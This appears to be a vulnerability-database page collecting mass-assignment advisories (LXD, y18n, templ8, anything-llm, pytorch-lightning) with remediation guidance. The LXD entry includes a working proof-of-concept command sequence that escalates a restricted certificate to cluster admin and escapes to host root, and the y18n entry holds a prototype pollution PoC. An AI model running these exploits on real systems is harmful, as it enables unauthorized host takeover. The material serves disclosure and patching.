        if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
            return response.Forbidden(errors.New("Only the certificate can be changed"))
        }
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
        // Reset dbCert in order to prevent possible future security issues.
        dbCert = dbCluster.Certificate{
            Certificate: dbInfo.Certificate,
            Fingerprint: dbInfo.Fingerprint,
            Restricted:  dbInfo.Restricted,
            Name:        dbInfo.Name,
            Type:        reqDBType,
        }

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

  1. Add Type to the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
  1. Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
    Type:        origDBType,
}

Patches

LXD Series Interim release
6 https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21 https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0 https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0 https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20210305023314-538ac3df036e"
            },
            {
              "last_affected": "0.0.0-20260226085519-736f34afb267"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:20:50Z",
    "nvd_published_at": "2026-04-09T10:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges.\n\n### Details\n\n`doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certificates/{fingerprint}` for both privileged and unprivileged callers. The access handler is `allowAuthenticated`, so any trusted TLS user (including restricted) can reach this code.\n\nFor unprivileged callers (restricted users who fail the `EntitlementCanEdit` check at line 975), two defenses are intended to prevent field tampering:\n\n1. The guard block validates that `Restricted`, `Name`, and `Projects` match the original database record. Does not check `Type`.\n```go\n\t\t// Ensure the user in not trying to change fields other than the certificate.\n\t\tif dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {\n\t\t\treturn response.Forbidden(errors.New(\"Only the certificate can be changed\"))\n\t\t}\n```\n\n\n2. The reset block rebuilds the `dbCert` struct using original values for `Restricted`, `Name`, and `Certificate`. Uses `reqDBType` (caller-supplied) for `Type` instead of the original `dbInfo` type.\n```go\n\t\t// Reset dbCert in order to prevent possible future security issues.\n\t\tdbCert = dbCluster.Certificate{\n\t\t\tCertificate: dbInfo.Certificate,\n\t\t\tFingerprint: dbInfo.Fingerprint,\n\t\t\tRestricted:  dbInfo.Restricted,\n\t\t\tName:        dbInfo.Name,\n\t\t\tType:        reqDBType,\n\t\t}\n```\n\nThis allows the attacker to update the `Type` field of their own certificate from `client` to `server`,  bypassing the authorization controls and escalating to cluster admin.\n\n### PoC\n\nTested on lxd 6.7.\n\nAs admin, create restricted project and restricted certificate:\n```bash\n# Create restricted project\nlxc project create poc-restricted -c restricted=true\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Add client certificate\nlxc config trust add --restricted --projects poc-restricted --name poc-user\n# pass token to user\n```\n\nAs restricted user:\n```bash\n# Add token\nlxc remote add target \u003ctoken\u003e\n\n# Confirm we can only see the poc-restricted project\nlxc project list target:\n\n# Confirm we can\u0027t unrestrict the project\nlxc project set target:poc-restricted restricted=false\n\n# Get own certificate fingerprint\nfp=$(lxc query target:/1.0/certificates | jq -r \u0027.[0]\u0027)\n\n# Update the type of certificate to server\nlxc query -X PATCH -d \u0027{ \"type\": \"server\" }\u0027 target:$fp\n# or \n# lxc query -X PUT -d \u0027{ \"type\": \"server\", \"name\": \"poc-user\", \"restricted\": true, \"projects\": [\"poc-restricted\"], \"certificate\": \"\" }\u0027 target:$fp\n\n# Confirm type is \u0027server\u0027\nlxc config trust list target:\n\n# Set project to restricted=false\nlxc project set target:poc-restricted restricted=false\n\n# Start privileged container (and escape to root)\nlxc init ubuntu:24.04 target:privileged -c security.privileged=true\nlxc config device add target:privileged hostfs disk source=/ path=/mnt/host\nlxc start target:privileged\n```\n\n### Impact\n\nPrivilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.\n\nCluster admin can create privileged containers (`security.privileged=true`) or pass raw LXC config (`raw.lxc`), which provides root-level access to the host, leading to full host compromise.\n\nThe attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.\n\nAffects any LXD deployment using legacy restricted TLS certificates (`/1.0/certificates` API).\n\n## Suggested remediation\n\n1. Add `Type` to the guard check at line 992:\n\n```go\nif dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||\n    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {\n```\n\n2. Use the original type in the reset block at line 1008:\n\n```go\norigDBType, err := certificate.FromAPIType(dbInfo.Type)\nif err != nil {\n    return response.InternalError(err)\n}\n\ndbCert = dbCluster.Certificate{\n    Certificate: dbInfo.Certificate,\n    Fingerprint: dbInfo.Fingerprint,\n    Restricted:  dbInfo.Restricted,\n    Name:        dbInfo.Name,\n    Type:        origDBType,\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0  | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
  "id": "GHSA-c3h3-89qf-jqm5",
  "modified": "2026-04-10T19:20:50Z",
  "published": "2026-04-10T19:20:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/17936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin"
}

GHSA-C4W7-XM78-47VH

Vulnerability from github – Published: 2021-03-29 16:05 – Updated: 2023-09-07 20:22
VLAI
Summary
Prototype Pollution in y18n
Details

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-12T21:23:11Z",
    "nvd_published_at": "2020-11-17T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require(\u0027y18n\u0027)();\n\ny18n.setLocale(\u0027__proto__\u0027);\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.",
  "id": "GHSA-c4w7-xm78-47vh",
  "modified": "2023-09-07T20:22:08Z",
  "published": "2021-03-29T16:05:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/issues/96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yargs/y18n"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-Y18N-1021887"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in y18n"
}

GHSA-C7M7-4257-H698

Vulnerability from github – Published: 2021-05-06 17:29 – Updated: 2021-05-05 21:29
VLAI
Summary
Prototype Pollution in templ8
Details

All versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "templ8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.44"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T21:29:36Z",
    "nvd_published_at": "2020-08-17T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.",
  "id": "GHSA-c7m7-4257-h698",
  "modified": "2021-05-05T21:29:36Z",
  "published": "2021-05-06T17:29:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7702"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TEMPL8-598770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in templ8"
}

GHSA-CFFW-PR5G-439R

Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30
VLAI
Details

A vulnerability in mintplex-labs/anything-llm allows users with manager roles to escalate their privileges to admin roles through a mass assignment issue. The '/admin/system-preferences' API endpoint improperly authorizes manager-level users to modify the 'multi_user_mode' system variable, enabling them to access the '/api/system/enable-multi-user' endpoint and create a new admin user. This issue results from the endpoint accepting a full JSON object in the request body without proper validation of modifiable fields, leading to unauthorized modification of system settings and subsequent privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-10T17:15:56Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in mintplex-labs/anything-llm allows users with manager roles to escalate their privileges to admin roles through a mass assignment issue. The \u0027/admin/system-preferences\u0027 API endpoint improperly authorizes manager-level users to modify the \u0027multi_user_mode\u0027 system variable, enabling them to access the \u0027/api/system/enable-multi-user\u0027 endpoint and create a new admin user. This issue results from the endpoint accepting a full JSON object in the request body without proper validation of modifiable fields, leading to unauthorized modification of system settings and subsequent privilege escalation.",
  "id": "GHSA-cffw-pr5g-439r",
  "modified": "2024-04-10T18:30:48Z",
  "published": "2024-04-10T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mintplex-labs/anything-llm/commit/52fac844221a9b951d08ceb93c4c014e9397b1f2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/a8000cce-0ecb-4820-9cfb-57ba6f4d58a2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGWC-QVRX-RF7F

Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-10-16 18:32
VLAI
Summary
Remote code execution in pytorch lightning
Details

A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the deepdiff library. The library uses deepdiff.Delta objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightning"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-5452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T22:10:56Z",
    "nvd_published_at": "2024-06-06T18:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the `deepdiff` library. The library uses `deepdiff.Delta` objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.",
  "id": "GHSA-cgwc-qvrx-rf7f",
  "modified": "2024-10-16T18:32:25Z",
  "published": "2024-06-06T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/issues/20038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightning-ai/pytorch-lightning/commit/330af381de88cff17515418a341cbc1f9f127f9a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/releases/tag/2.3.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lightning-ai/pytorch-lightning"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/486add92-275e-4a7b-92f9-42d84bc759da"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote code execution in pytorch lightning"
}

Mitigation
Implementation
  • If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
  • For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Mitigation
Implementation Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

No CAPEC attack patterns related to this CWE.